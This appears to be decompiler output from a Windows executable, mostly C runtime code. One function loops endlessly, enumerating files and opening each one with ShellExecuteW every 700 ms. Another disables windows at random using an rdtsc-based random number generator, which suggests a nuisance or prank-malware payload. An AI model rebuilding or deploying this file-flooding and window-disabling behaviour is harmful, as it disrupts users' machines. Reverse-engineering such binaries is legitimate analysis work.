unsigned char* edx4;
uint32_t ebx5;
void* ecx6;
uint32_t eax7;
int1_t below_or_equal8;
int1_t below_or_equal9;
 edx4 = a2;
ebx5 = a3;
if (!(ebx5 & 0xffffffff)) {
addr_405e16_2:
return 0;
} else {
ecx6 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(a1) -
reinterpret_cast<uint32_t>(edx4));
if (reinterpret_cast<uint32_t>(edx4) & 3)
goto addr_405dd0_4;
while (1) {
if ((reinterpret_cast<uint32_t>(edx4) + reinterpret_cast<uint32_t>(ecx6) & 0xfff) > 0xffc ||
*reinterpret_cast<unsigned char*>(reinterpret_cast<uint32_t>(edx4) +
reinterpret_cast<uint32_t>(ecx6)) != *edx4) {
do {
addr_405dd0_4:
eax7 = *reinterpret_cast<unsigned char*>(reinterpret_cast<uint32_t>(edx4) +
reinterpret_cast<uint32_t>(ecx6));
if (*reinterpret_cast<unsigned char*>(&eax7) != *edx4)
goto addr_405e20_6;
if (!eax7)
goto addr_405e16_2;
++edx4;
below_or_equal8 = ebx5 <= 1;
--ebx5;
if (below_or_equal8)
goto addr_405e16_2;
} while (*reinterpret_cast<unsigned char*>(&edx4) & 3);
} else {
below_or_equal9 = ebx5 <= 4;
ebx5 = ebx5 - 4;
if (below_or_equal9)
goto addr_405e16_2;
edx4 = edx4 + 4;
if (~*reinterpret_cast<unsigned char*>(reinterpret_cast<uint32_t>(edx4) +
reinterpret_cast<uint32_t>(ecx6)) & *reinterpret_cast<unsigned
char*>(reinterpret_cast<uint32_t>(edx4) + reinterpret_cast<uint32_t>(ecx6)) - 0x1010101 &
0x80808080)
goto addr_405e16_2;
}
}
}
addr_405e20_6:
 return eax7 - (eax7 + reinterpret_cast<uint1_t>(eax7 < eax7 +
reinterpret_cast<uint1_t>(*reinterpret_cast<unsigned char*>(&eax7) < *edx4))) | 1;
}

void fun_405e1b() {
goto 0x405e20;
}

void fun_407ee5(void** ecx, void** a2, void** a3) {

int32_t ebp4;
int32_t ebp5;
int32_t eax6;
int32_t ebp7;
int32_t ebp8;

fun_4038a0(ecx, 0x414a48, 12, __return_address());

fun_407a92(ecx, 7);
*reinterpret_cast<signed char*>(ebp4 - 25) = 0;
*reinterpret_cast<int32_t*>(ebp5 - 4) = 0;
eax6 = fun_407ba0(7, 0, 0x414a48, 12, __return_address(), a2, a3);
if (!eax6) {
fun_407d79(0);
fun_407e2f(0);
*reinterpret_cast<signed char*>(ebp7 - 25) = 1;
}
*reinterpret_cast<int32_t*>(ebp8 - 4) = -2;
fun_407f32(0);
fun_4038f0(0, 0x414a48, 12, __return_address(), a2);
goto 0x414a48;
}

void fun_407f2f() {
}

void fun_408c7d() {
int32_t eax1;
int32_t ebp2;
int32_t ebp3;

*reinterpret_cast<signed char*>(&eax1) = *reinterpret_cast<signed char*>(ebp2 - 30);

*reinterpret_cast<int32_t*>(ebp3 - 56) = eax1;
}

void fun_408fc1() {
 uint32_t eax1;
int32_t ebp2;
uint32_t edx3;
uint32_t eax4;
int32_t ebx5;
uint32_t eax6;
int32_t ebx7;

eax1 = *reinterpret_cast<uint32_t*>(ebp2 - 12);

if (*reinterpret_cast<signed char*>(&eax1) < 0) {
}
if (eax1 & 0x200) {
}
if (eax1 & 0x400) {
}
if (eax1 & 0x800) {
}
if (eax1 & 0x1000) {
}
if (eax1 & 0x100) {
}
edx3 = eax1 & 0x6000;
if (edx3) {
if (edx3 != 0x2000) {
if (edx3 != 0x4000) {
if (edx3 == 0x6000) {
}
}
}
}
eax4 = (eax1 & 0x8040) - ebx5;
if (eax4) {
eax6 = eax4 - 0x7fc0;
if (!eax6) {
goto 0x409061;
} else {
if (eax6 - ebx7)
goto 0x409061;
goto 0x409061;
}
}
}

struct s157 {
 signed char[32] pad32;
void** f20;
};

void fun_409376(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
void** v14;
void** esi15;
void* esi16;
void** eax17;
void** v18;
void** eax19;
void** v20;
void** v21;

v13 = reinterpret_cast<void**>(__return_address());
v14 = esi15;
fun_409db6(ecx);
fun_409ff2(ecx, v14, v13, a2, a3, a4, a5, a6, a7, a8, a9);
esi16 = reinterpret_cast<void*>(0);
do {
eax17 = g417274;
v18 = *reinterpret_cast<void***>(reinterpret_cast<int32_t>(esi16) +
reinterpret_cast<unsigned char>(eax17));
fun_40a092(ecx, v18, v14, v13, a2, a3, a4, a5, a6, a7, a8);
eax19 = g417274;
ecx = v18;
v20 = reinterpret_cast<void**>(&(*reinterpret_cast<struct
s157**>(reinterpret_cast<int32_t>(esi16) + reinterpret_cast<unsigned char>(eax19)))->f20);
DeleteCriticalSection(ecx);
esi16 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(esi16) + 4);
} while (!reinterpret_cast<int1_t>(esi16 == 12));
v21 = g417274;
fun_406c46(ecx, v21, v20, v14, v13, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
g417274 = reinterpret_cast<void**>(0);
goto v14;
}

void fun_40950d(int32_t ecx) {

}

int32_t fun_409c08(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
 signed char al12;
int32_t ecx13;

al12 = fun_40767f(ecx, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
ecx13 = 0;
*reinterpret_cast<unsigned char*>(&ecx13) = reinterpret_cast<uint1_t>(al12 == 0);
return ecx13;
}

void fun_409e8b() {
}

void fun_409efc() {
}

int32_t g417298;

void fun_40aaf0() {
int1_t zf1;

zf1 = g417298 == 0;
if (zf1)
goto 0x40ab2b;
}

void fun_40ac00() {
int1_t zf1;

zf1 = g417298 == 0;
if (zf1)
goto 0x40b9fb;
}

void fun_40b1f4() {
int32_t ebp1;
signed char ch2;
int32_t eax3;
int32_t ebp4;
signed char ch5;
int32_t ebp6;
unsigned char dl7;

*reinterpret_cast<signed char*>(ebp1 - 0x90) = -2;

if (ch2) {
 eax3 = fun_40b391();
if (!eax3) {
__asm__("fstp st0");
__asm__("fstp st0");
__asm__("fld tword [0x412320]");
if (*reinterpret_cast<signed char*>(ebp4 - 0x90) > 0)
goto 0x40b5cd; else
goto "???";
} else {
ch5 = 0;
if (eax3 != 2) {
ch5 = -1;
}
__asm__("fxch st0, st1");
__asm__("fabs ");
}
} else {
__asm__("fxch st0, st1");
}
__asm__("fyl2x ");
fun_40b34e(__return_address());
__asm__("fld1 ");
__asm__("faddp st1, st0");
if (*reinterpret_cast<unsigned char*>(ebp6 - 0x9f) & 1) {
__asm__("fld1 ");
__asm__("fdivrp st1, st0");
}
if (!(dl7 & 64)) {
__asm__("fscale ");
}
if (ch5) {
__asm__("fchs ");
}
__asm__("fxch st0, st1");
__asm__("fstp st0");
return;
}

void fun_40b211() {
int32_t ebp1;

*reinterpret_cast<signed char*>(ebp1 - 0x90) = -2;

__asm__("fldl2e ");
__asm__("fmulp st1, st0");
}

void fun_40b294() {
int32_t ebp1;

*reinterpret_cast<signed char*>(ebp1 - 0x90) = 2;

__asm__("fstp st0");
__asm__("fld tword [0x4122ca]");
return;
}

void fun_40b2a9(signed char cl) {

__asm__("fldlg2 ");
__asm__("fxch st0, st1");
if (cl)
goto 0x40b263;
__asm__("fyl2x ");
return;
}

void fun_40b2b8() {
__asm__("fstp st0");
__asm__("fstp st0");
__asm__("fld1 ");
return;
}

void fun_40b2f2() {
__asm__("fstp st0");
goto 0x40b506;
}

void fun_40b5d0(int16_t cx) {

__asm__("fstp st0");
__asm__("fstp st0");
__asm__("fld tword [0x412334]");
if (*reinterpret_cast<signed char*>(reinterpret_cast<int32_t>(&cx) + 1)) {
__asm__("fchs ");
}
if (*reinterpret_cast<signed char*>(&cx)) {
__asm__("fld qword [0x412346]");
__asm__("fmulp st1, st0");
}
return;
}

void fun_40b600() {
__asm__("fld st0");
__asm__("frndint ");
__asm__("fsubr st1, st0");
__asm__("fxch st0, st1");
__asm__("fchs ");
__asm__("f2xm1 ");
__asm__("fld1 ");
__asm__("faddp st1, st0");
__asm__("fscale ");
__asm__("fstp st1");
return;
}

int32_t fun_40c959() {
int32_t ecx1;
int32_t ebp2;

ecx1 = 0;
*reinterpret_cast<unsigned char*>(&ecx1) =
reinterpret_cast<uint1_t>(***reinterpret_cast<int32_t***>(ebp2 - 20) == 0xc0000005);
return ecx1;
}

void** fun_40d006(void** ecx, int32_t a2, int32_t a3) {

int32_t ebx4;
int32_t v5;
int32_t v6;
void** eax7;

fun_40d039(a2, a3);
__asm__("wait ");
__asm__("fnstcw word [ebp+0xffffff5c]");
fun_40b400(ecx);
eax7 = fun_40ceb8(ecx, ebx4, v5, v6);
return eax7;
}

void fun_40d0c0() {
int1_t zf1;

zf1 = g417298 == 0;
 if (zf1)
goto 0x40d0fb;
}

void fun_401020() {
void** eax1;

eax1 = reinterpret_cast<void**>(GetSystemMetrics());
g417284 = eax1;
goto 0;
}

int32_t ShellExecuteW = 0x1515c;

int32_t FindFirstFileW = 0x14ed0;

void fun_401620() {
int32_t v1;
int32_t ebx2;
int32_t ebx3;
int32_t v4;
int32_t esi5;
int32_t* esp6;
int32_t v7;
int32_t edi8;
int32_t edi9;
void* v10;
int32_t eax11;
void* esp12;
int32_t esi13;
void* v14;
int32_t v15;
int32_t eax16;
void* esp17;
void* esp18;
void* v19;
void* esp20;
int32_t eax21;

v1 = ebx2;
ebx3 = ShellExecuteW;
v4 = esi5;
 esp6 =
reinterpret_cast<int32_t*>((reinterpret_cast<uint32_t>(reinterpret_cast<int32_t>(__zero_stack_
offset()) - 4) & 0xfffffff8) - 0x25c - 4 - 4 - 4);
v7 = edi8;
edi9 = FindNextFileW;
while (1) {
v10 = reinterpret_cast<void*>(esp6 + 4);
eax11 = reinterpret_cast<int32_t>(FindFirstFileW("C", v10, v7, v4, v1));
esp12 = reinterpret_cast<void*>(esp6 - 1 - 1 - 1 + 1);
esi13 = eax11;
v14 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp12) + 16);
v15 = esi13;
eax16 = reinterpret_cast<int32_t>(edi9(v15, v14, "C", v10, v7, v4, v1));
esp17 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp12) - 4 - 4 - 4 + 4);
if (eax16) {
do {
esp18 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp17) - 4 - 4 - 4);
v19 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp18) + 72);
ebx3(0, "o", v19, 0, 0, 5, v15, v14, "C", v10, v7, v4, v1);
Sleep(0x2bc, 0, "o", v19, 0, 0, 5, v15, v14, "C", v10, v7, v4, v1);
esp20 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp18) - 4 - 4 - 4 - 4 + 4 -
4 - 4 + 4);
eax21 = reinterpret_cast<int32_t>(edi9(esi13, reinterpret_cast<uint32_t>(esp20) + 16,
0x2bc, 0, "o", v19, 0, 0, 5, v15, v14, "C", v10, v7, v4, v1));
esp17 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp20) - 4 - 4 - 4 + 4);
} while (eax21);
}
FindClose(esi13, v15, v14, "C", v10, v7, v4, v1);
esp6 = reinterpret_cast<int32_t*>(reinterpret_cast<uint32_t>(esp17) - 4 - 4 + 4);
}
}

int32_t SetWindowTextW = 0x14fcc;

int32_t EnableWindow = 0x14f86;

void fun_401590(int32_t a1) {

uint32_t eax2;
uint32_t esi3;
uint32_t esi4;
uint32_t edx5;
uint32_t eax6;
int32_t esi7;
 eax2 = reinterpret_cast<uint32_t>(SetWindowTextW());
__asm__("rdtsc ");
esi3 = eax2 ^ eax2 << 13;
esi4 = esi3 ^ esi3 << 17;
edx5 = __intrinsic() >> 3;
eax6 = edx5 + edx5 * 4;
if (!((esi4 ^ esi4 << 5) - (eax6 + eax6))) {
EnableWindow(a1, 0);
}
goto esi7;
}

void fun_40cc04() {
int16_t ax1;
int16_t fpu_status_word2;

__asm__("fxch st0, st1");

do {
__asm__("fprem ");
__asm__("wait ");
ax1 = fpu_status_word2;
__asm__("wait ");
} while (*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&ax1) + 1));
__asm__("fstp st1");
return;
}

void fun_402f70(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8, void** a9, void** a10, void** a11) {
void** v12;
void** eax13;
void** esi14;
void** eax15;
void*** eax16;
signed char al17;
void** eax18;
void** eax19;
int32_t eax20;
void** eax21;
signed char al22;
int32_t eax23;

v12 = reinterpret_cast<void**>(__return_address());
fun_404c4e(2);
 eax13 = fun_4035cd(2);
fun_4055ff(ecx, eax13, 2, esi14, v12, a2, a3, a4);
eax15 = fun_4035c6(ecx, eax13, 2);
eax16 = fun_405730(eax13, 2);
*eax16 = eax15;
al17 = fun_40338c(ecx, 1, eax13, 2);
if (al17 && (fun_403845(), fun_403519(ecx, fun_403871), eax18 = fun_4035c9(), eax19 =
fun_405032(ecx, eax18, fun_403871, v12), ecx = reinterpret_cast<void**>(fun_403871),
!eax19)) {
fun_4035d3(fun_403871);
eax20 = fun_40362f(fun_403871);
if (eax20) {
fun_404d23(fun_403871, fun_4035c6);
ecx = reinterpret_cast<void**>(fun_4035c6);
}
fun_403603(ecx);
fun_403603(ecx);
fun_4035e2(ecx, v12, a2);
eax21 = fun_4035c6(ecx, v12, a2);
fun_405699(ecx, eax21, v12, a2, a3, a4, a5, a6, a7);
ecx = eax21;
al22 = fun_4035df(ecx);
if (al22) {
fun_405267(ecx, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
}
fun_4035c6(ecx, v12, a2);
eax23 = fun_403793(ecx);
if (!eax23) {
return;
}
}
fun_403647(ecx, 7);
fun_403612(ecx);
goto 7;
}

void** fun_403023(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** eax7;
void** eax8;

fun_4037db();
eax7 = fun_4035c6(ecx, __return_address(), a2);
eax8 = fun_405701(ecx, eax7, __return_address(), a2, a3, a4, a5, a6);
return eax8;
}

void** fun_403156(void** a1, void** a2) {

void** ecx3;
int32_t ebp4;
void** eax5;
int32_t ebp6;
void** eax7;

ecx3 = *reinterpret_cast<void***>(ebp4 - 20);

eax5 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx3));
*reinterpret_cast<void***>(ebp6 - 32) = eax5;
eax7 = fun_404ad5(ecx3, eax5, ecx3, __return_address(), a1, a2);
return eax7;
}

struct s159 {
unsigned char f0;
signed char[3] pad4;
int32_t f4;
};

struct s158 {
int32_t f0;
signed char[12] pad16;
int32_t f10;
int32_t f14;
struct s13*** f18;
struct s159* f1c;
};

struct s160 {
signed char[8] pad8;
struct s158* f8;
};

struct s161 {
signed char[4] pad4;
int32_t f4;
};

void fun_403ae1(void** ecx, int32_t a2) {

struct s158* eax3;
struct s160* ebp4;
 int32_t edx5;
struct s13* eax6;
struct s13** v7;
int32_t esi8;
int32_t ebp9;
struct s13*** v10;
int32_t ebp11;
int32_t ebp12;
struct s161* ebp13;

fun_4038a0(ecx, 0x4148a0, 8, __return_address());

eax3 = ebp4->f8;
if (eax3 && (eax3->f0 == 0xe06d7363 && (eax3->f10 == 3 && ((eax3->f14 == 0x19930520 ||
(eax3->f14 == 0x19930521 || eax3->f14 == 0x19930522)) && eax3->f1c)))) {
edx5 = eax3->f1c->f4;
if (!edx5) {
if (eax3->f1c->f0 & 16 && *eax3->f18) {
eax6 = **eax3->f18;
v7 = *eax3->f18;
esi8 = eax6->f8;
image_base_(esi8, v7);
esi8(esi8, v7);
}
} else {
*reinterpret_cast<uint32_t*>(ebp9 - 4) = 0;
v10 = eax3->f18;
fun_403b82(v10, edx5);
*reinterpret_cast<int32_t*>(ebp11 - 4) = -2;
}
}
g0 = *reinterpret_cast<void***>(ebp12 - 16);
goto ebp13->f4;
}

void fun_40348b() {
}

void fun_403b4f() {
goto 0x403b38;
}

int32_t fun_404120(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6) {
int32_t eax7;
uint32_t ecx8;
 void** eax9;
void** v10;
void** v11;
void** v12;

eax7 = 1;
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a1 + 4)) & 6) {
ecx8 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 8)) ^
reinterpret_cast<unsigned char>(a2);
eax9 = fun_402f62(ecx8, __return_address(), a1, a2, a3, a4, a5, a6);
v10 = *reinterpret_cast<void***>(eax9 + 12);
v11 = *reinterpret_cast<void***>(eax9 + 16);
v12 = *reinterpret_cast<void***>(eax9 + 20);
fun_404080(v12, v11, v10);
*reinterpret_cast<void***>(a4) = a2;
eax7 = 3;
}
return eax7;
}

void fun_404739(int32_t ecx) {

}

void fun_4047d5(int32_t ecx) {

}

void fun_4049d7() {
}

void fun_405cbd() {
}

signed char fun_406509() {

uint32_t* edi1;
uint32_t eax2;
int32_t ecx3;

edi1 = reinterpret_cast<uint32_t*>(0x416e40);
__asm__("ror eax, cl");
eax2 = g416004;
ecx3 = 32;
while (ecx3) {
--ecx3;
*edi1 = eax2;
 ++edi1;
}
return 1;
}

signed char fun_4065b6(signed char a1) {

uint32_t* esi2;
uint32_t v3;

if (!a1) {
esi2 = reinterpret_cast<uint32_t*>(0x416df0);
do {
if (*esi2) {
if (*esi2 != 0xffffffff) {
v3 = *esi2;
FreeLibrary(v3);
}
*esi2 = 0;
}
++esi2;
} while (!reinterpret_cast<int1_t>(esi2 == 0x416e40));
}
return 1;
}

void** fun_406849(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);

void** fun_406a67(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10) {
void** eax11;
void** eax12;

eax11 = fun_406212(ecx, fun_406849, __return_address(), a2, a3);

g416058 = eax11;
if (!reinterpret_cast<int1_t>(eax11 == 0xffffffff)) {
eax12 = fun_4069e2(ecx, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10);
if (eax12) {
*reinterpret_cast<signed char*>(&eax12) = 1;
return eax12;
} else {
eax11 = fun_406a93(ecx, eax12);
}
}
 *reinterpret_cast<signed char*>(&eax11) = 0;
return eax11;
}

int32_t fun_406c80(uint32_t a1, uint32_t a2) {

if (a2 <= a1) {
return -(a2 - (a2 + reinterpret_cast<uint1_t>(a2 < a2 + reinterpret_cast<uint1_t>(a2 <
a1))));
} else {
return -1;
}
}

void fun_405647(void** ecx, void** a2) {

int1_t zf3;
int32_t ebp4;
void** eax5;
int32_t ebp6;

fun_4038a0(ecx, 0x4148e8, 8, __return_address());

zf3 = reinterpret_cast<int1_t>(g417244 == 0x416580);
if (!zf3) {
fun_407a92(ecx, 4);
*reinterpret_cast<uint32_t*>(ebp4 - 4) = 0;
eax5 = fun_408728(4, 0x417244, 0x416580, 0x48e8, 8, __return_address());
ecx = reinterpret_cast<void**>(0x416580);
g417244 = eax5;
*reinterpret_cast<int32_t*>(ebp6 - 4) = -2;
fun_405690(0x416580);
}
fun_4038f0(ecx, 0x4148e8, 8, __return_address(), a2);
goto 0x4148e8;
}

int32_t GetCommandLineA = 0x154d6;

int32_t g416ef0;

int32_t GetCommandLineW = 0x154e8;

signed char fun_4079b1() {

int32_t eax1;
void** eax2;
 eax1 = reinterpret_cast<int32_t>(GetCommandLineA());
g416ef0 = eax1;
eax2 = reinterpret_cast<void**>(GetCommandLineW());
g416ef4 = eax2;
return 1;
}

signed char fun_407a51(void** ecx) {

void** edi2;
uint32_t esi3;
void** eax4;
signed char al5;

edi2 = reinterpret_cast<void**>(0x416f00);
esi3 = 0;
do {
eax4 = fun_4063c3(ecx, edi2, 0xfa0, 0);
if (!eax4)
break;
++g417038;
esi3 = esi3 + 24;
edi2 = edi2 + 24;
} while (esi3 < 0x138);
goto addr_407a81_4;
fun_407aa9();
al5 = 0;
addr_407a8f_6:
return al5;
addr_407a81_4:
al5 = 1;
goto addr_407a8f_6;
}

void fun_407c2c() {
}

void** fun_407f3b(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6) {
void** v7;
void** v8;
void** esi9;
uint32_t esi10;
void** eax11;
void** v12;
void** ecx13;
 v7 = reinterpret_cast<void**>(__return_address());
v8 = esi9;
esi10 = 0;
do {
eax11 = *reinterpret_cast<void***>(esi10 + 0x417040);
if (eax11) {
v12 = eax11;
eax11 = fun_407b6b(ecx13, v12, v8, v7, a1, a2, a3, a4, a5, a6);
*reinterpret_cast<void***>(esi10 + 0x417040) = reinterpret_cast<void**>(0);
ecx13 = v12;
}
esi10 = esi10 + 4;
} while (esi10 < 0x200);
*reinterpret_cast<signed char*>(&eax11) = 1;
return eax11;
}

void fun_40cb26(int32_t ecx) {

goto fun_40cb40;
}

unsigned char fun_4087f0() {

void** eax1;

eax1 = reinterpret_cast<void**>(GetProcessHeap());
g417250 = eax1;
return static_cast<unsigned char>(reinterpret_cast<uint1_t>(!!eax1));
}

int32_t fun_4092ae(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** eax12;
void** esi13;
void** eax14;
int1_t zf15;
void** eax16;
int1_t zf17;
uint32_t edi18;
void** esi19;
void** eax20;

eax12 = g417270;
if (eax12) {
 if (reinterpret_cast<signed char>(eax12) >= reinterpret_cast<signed char>(3)) {
addr_4092cd_3:
eax14 = fun_406be9(ecx, eax12, 4, esi13, __return_address(), a2, a3, a4);
g417274 = eax14;
fun_406c46(ecx, 0, eax12, 4, esi13, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11);
zf15 = g417274 == 0;
if (!zf15 || (g417270 = reinterpret_cast<void**>(3), eax16 = fun_406be9(ecx, 3, 4, esi13,
__return_address(), a2, a3, a4), g417274 = eax16, fun_406c46(ecx, 0, 3, 4, esi13,
__return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11), zf17 = g417274 == 0, !zf17)) {
edi18 = 0;
esi19 = reinterpret_cast<void**>(0x4166a8);
do {
fun_4063c3(ecx, esi19 + 32, 0xfa0, 0);
eax20 = g417274;
*reinterpret_cast<void***>(eax20 + edi18 * 4) = esi19;
ecx = reinterpret_cast<void**>((edi18 & 63) * 48);
if
(*reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cas
t<int32_t>(edi18) >> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx) + 24) == -1 ||
(*reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cas
t<int32_t>(edi18) >> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx) + 24) == -2 ||
!*reinterpret_cast<int32_t*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>((reinterpret_cas
t<int32_t>(edi18) >> 6) * 4 + 0x417040)) + reinterpret_cast<unsigned char>(ecx) + 24))) {
*reinterpret_cast<void***>(esi19 + 16) = reinterpret_cast<void**>(0xfffffffe);
}
esi19 = esi19 + 56;
++edi18;
} while (!reinterpret_cast<int1_t>(esi19 == 0x416750));
return 0;
} else {
return -1;
}
} else {
eax12 = reinterpret_cast<void**>(3);
}
} else {
eax12 = reinterpret_cast<void**>(0x200);
}
g417270 = eax12;
goto addr_4092cd_3;
}

void* fun_409960(int32_t ecx, signed char* a2, signed char* a3) {

 void* eax4;
signed char* edx5;
signed char* esi6;

eax4 = reinterpret_cast<void*>(0);
edx5 = a3;
while (*edx5) {
++edx5;
__asm__("bts [esp], eax");
}
esi6 = a2;
do {
*reinterpret_cast<signed char*>(&eax4) = *esi6;
if (!*reinterpret_cast<signed char*>(&eax4))
break;
++esi6;
} while (!static_cast<int1_t>(0 >> reinterpret_cast<int32_t>(eax4)));
goto addr_409997_7;
addr_40999a_8:
return eax4;
addr_409997_7:
eax4 = reinterpret_cast<void*>(esi6 - 1);
goto addr_40999a_8;
}

void fun_40978a() {
}

void fun_409e5e() {
}

struct s162 {
signed char[8] pad8;
uint32_t f8;
};

struct s163 {
signed char[8] pad8;
uint32_t f8;
};

void fun_409ee2() {
struct s162* ebp1;
struct s163* ebp2;
 g416750 = 0;
ebp1->f8 = ebp2->f8 & 0xffffffbf;
}

void fun_40a175() {
}

void fun_40a867() {
}

void fun_40aab0() {
int1_t zf1;

zf1 = g417298 == 0;
if (zf1)
goto 0x40ab3f;
}

void fun_40ae9f() {
}

void fun_40bcd3() {
int32_t eax1;

eax1 = g416760;
if (eax1 != -1 && eax1 != -2) {
CloseHandle(eax1);
}
return;
}

void fun_40af56(void** ecx, void** a2, void** a3) {

int32_t eax4;

eax4 = fun_40c86c(ecx, 10, __return_address(), a2, a3);

g417298 = eax4;
goto 10;
}

void fun_40b4fd(signed char cl) {

fun_40b5c6(cl, __return_address());
goto 0x40b4fa;
}
void fun_40b25e() {
goto 0x40b518;
}

void fun_40b2a4(signed char cl) {

if (cl) {
goto 0x40b5b5;
} else {
return;
}
}

void fun_40b2ad() {
__asm__("fldln2 ");
}

void fun_40b2bd(int16_t cx) {

int32_t eax2;
int32_t ebp3;

eax2 = fun_40b391();
__asm__("fstp st0");
__asm__("fstp st0");
if (*reinterpret_cast<signed char*>(&cx)) {
*reinterpret_cast<signed char*>(ebp3 - 0x90) = 2;
__asm__("fld tword [0x4122c0]");
if (eax2 == 1 && *reinterpret_cast<signed char*>(reinterpret_cast<int32_t>(&cx) + 1)) {
__asm__("fchs ");
}
} else {
__asm__("fldz ");
if (eax2 == 1 && *reinterpret_cast<signed char*>(reinterpret_cast<int32_t>(&cx) + 1)) {
__asm__("fchs ");
}
}
return;
}

void fun_40b2f9() {
__asm__("fstp st0");
}

void fun_40b3c5() {
 int32_t v1;
void** v2;
int32_t v3;
void** v4;
int32_t eax5;

__asm__("fstp qword [esp]");

__asm__("fstp qword [esp]");
__asm__("wait ");
__asm__("fnsave [esi+0x8]");
eax5 = fun_40bd54(v1, v2, v3, v4, reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 -
0x74);
__asm__("frstor [esi+0x8]");
__asm__("fld qword [esi]");
if (!eax5) {
return;
} else {
goto fun_40b5c6;
}
}

void fun_40b4f3(signed char cl) {

fun_40b5c6(cl, __return_address());
}

void fun_40b51f() {
int32_t ebp1;
int32_t ebp2;
int32_t ebp3;

__asm__("fstp tword [ebp+0xffffff62]");

__asm__("fld tword [ebp+0xffffff62]");
if (!(*reinterpret_cast<unsigned char*>(ebp1 - 0x97) & 64)) {
*reinterpret_cast<signed char*>(ebp2 - 0x90) = 0;
__asm__("fadd qword [0x41233e]");
return;
} else {
*reinterpret_cast<signed char*>(ebp3 - 0x90) = 0;
return;
}
}

void fun_40b54a() {
int32_t ebp1;
 int32_t ebp2;
int32_t ebp3;

__asm__("fxch st0, st1");

__asm__("fstp tword [ebp+0xffffff62]");
__asm__("fld tword [ebp+0xffffff62]");
if (!(*reinterpret_cast<unsigned char*>(ebp1 - 0x97) & 64)) {
*reinterpret_cast<signed char*>(ebp2 - 0x90) = 0;
} else {
*reinterpret_cast<signed char*>(ebp3 - 0x90) = 0;
}
__asm__("faddp st1, st0");
return;
}

void fun_40b574() {
int32_t ebp1;
int32_t ebp2;
int32_t ebp3;
int32_t ebp4;

__asm__("fstp tword [ebp+0xffffff62]");

__asm__("fld tword [ebp+0xffffff62]");
if (!(*reinterpret_cast<unsigned char*>(ebp1 - 0x97) & 64) || !(*reinterpret_cast<unsigned
char*>(ebp2 - 0x97) & 64)) {
*reinterpret_cast<signed char*>(ebp3 - 0x90) = 1;
} else {
*reinterpret_cast<signed char*>(ebp4 - 0x90) = 0;
}
__asm__("faddp st1, st0");
return;
}

void fun_40b5ed(signed char cl) {

if (cl) {
__asm__("fchs ");
}
return;
}

void fun_40b615(int32_t a1) {

__asm__("fldcw word [esp+0x6]");
return;
}
void fun_40bb27() {
}

void fun_40c96c() {
}

void** fun_40cbf0(void** ecx, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
int32_t ebx6;
int32_t v7;
int32_t v8;
void** eax9;

fun_40d039(a2, a3);
fun_40d039(a4, a5);
__asm__("wait ");
__asm__("fnstcw word [ebp+0xffffff5c]");
fun_40b467(ecx);
eax9 = fun_40ceb8(ecx, ebx6, v7, v8);
return eax9;
}

unsigned char fun_40ce34(void** ecx) {

signed char al2;
int32_t ebx3;
int32_t v4;
int32_t v5;
unsigned char al6;

__asm__("wait ");
__asm__("fnstcw word [ebp+0xffffff5c]");
al2 = fun_404cad(ecx);
if (al2) {
__asm__("fst qword [ebp+0xffffff7a]");
}
fun_40b400(ecx);
al6 = fun_40cebf(ecx, ebx3, v4, v5);
return al6;
}

void fun_40d080() {
int1_t zf1;

zf1 = g417298 == 0;
 if (zf1)
goto fun_40d10f;
}

void fun_401030() {
void** eax1;

eax1 = reinterpret_cast<void**>(GetSystemMetrics());
g417280 = eax1;
goto 1;
}

struct s164 {
int32_t f0;
void** f4;
};

struct s165 {
int32_t f0;
void** f4;
};

struct s166 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
};

struct s167 {
int32_t f0;
void** f4;
};

void** g416a9c;

struct s168 {
int32_t f0;
void** f4;
};

struct s169 {
 int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
signed char[3] pad16;
void** f10;
};

struct s170 {
void** f0;
signed char[3] pad4;
void** f4;
};

struct s171 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
signed char[3] pad16;
void** f10;
signed char[3] pad20;
void** f14;
};

struct s172 {
int32_t f0;
void** f4;
};

struct s173 {
void** f0;
signed char[3] pad4;
void** f4;
signed char[3] pad8;
void** f8;
